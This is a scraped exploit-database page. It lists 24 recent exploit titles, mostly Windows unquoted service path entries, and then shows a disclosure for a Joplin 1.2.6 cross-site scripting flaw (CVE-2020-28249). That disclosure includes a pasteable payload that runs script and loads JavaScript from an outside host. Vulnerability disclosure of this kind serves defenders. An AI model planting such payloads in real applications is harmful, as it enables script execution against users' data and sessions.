e797f5230d
24 changes to exploits/shellcodes HP Display Assistant x64 Edition 3.20 - 'DTSRVC' Unquoted Service Path KMSpico 17.1.0.0 - 'Service KMSELDI' Unquoted Service Path Winstep 18.06.0096 - 'Xtreme Service' Unquoted Service Path OKI sPSV Port Manager 1.0.41 - 'sPSVOpLclSrv' Unquoted Service Path IPTInstaller 4.0.9 - 'PassThru Service' Unquoted Service Path Genexus Protection Server 9.6.4.2 - 'protsrvservice' Unquoted Service Path DigitalPersona 4.5.0.2213 - 'DpHostW' Unquoted Service Path Syncplify.me Server! 5.0.37 - 'SMWebRestServicev5' Unquoted Service Path HP WMI Service 1.4.8.0 - 'HPWMISVC.exe' Unquoted Service Path Motorola Device Manager 2.4.5 - 'ForwardDaemon.exe ' Unquoted Service Path Motorola Device Manager 2.5.4 - 'MotoHelperService.exe' Unquoted Service Path Motorola Device Manager 2.5.4 - 'ForwardDaemon.exe ' Unquoted Service Path Realtek Andrea RT Filters 1.0.64.10 - 'AERTSr64.EXE' Unquoted Service Path MEMU PLAY 3.7.0 - 'MEmusvc' Unquoted Service Path Magic Mouse 2 utilities 2.20 - 'magicmouse2service' Unquoted Service Path iDeskService 3.0.2.1 - 'iDeskService' Unquoted Service Path Canon Inkjet Extended Survey Program 5.1.0.8 - 'IJPLMSVC.EXE' - Unquoted Service Path Deep Instinct Windows Agent 1.2.24.0 - 'DeepNetworkService' Unquoted Service Path RealTimes Desktop Service 18.1.4 - 'rpdsvc.exe' Unquoted Service Path DiskBoss v11.7.28 - Multiple Services Unquoted Service Path Privacy Drive v3.17.0 - 'pdsvc.exe' Unquoted Service Path Genexis Platinum-4410 P4410-V2-1.28 - Broken Access Control and CSRF SuiteCRM 7.11.15 - 'last_name' Remote Code Execution (Authenticated) Joplin 1.2.6 - 'link' Cross Site Scripting
23 lines
No EOL
717 B
Text
23 lines
No EOL
717 B
Text
# Exploit Title: Joplin 1.2.6 - 'link' Cross Site Scripting
|
|
# Date: 2020-09-21
|
|
# Exploit Author: Philip Holbrook (@fhlipZero)
|
|
# Vendor Homepage: https://joplinapp.org/
|
|
# Software Link: https://github.com/laurent22/joplin/releases/tag/v1.2.6
|
|
# Version: 1.2.6
|
|
# Tested on: Windows / Mac
|
|
# CVE : CVE-2020-28249
|
|
# References:
|
|
# https://github.com/fhlip0/JopinXSS/blob/main/readme.md
|
|
|
|
# 1. Technical Details
|
|
# An XSS issue in Joplin for desktop v1.2.6 allows a link tag in a note to
|
|
bypass the HTML filter
|
|
|
|
# 2. PoC
|
|
# Paste the following payload into a note:
|
|
|
|
```
|
|
<link rel=import
|
|
href="data:text/html,<script>alert(XSS)</script>
|
|
<script src="//brutelogic.com.br/1.js# </script>
|
|
``` |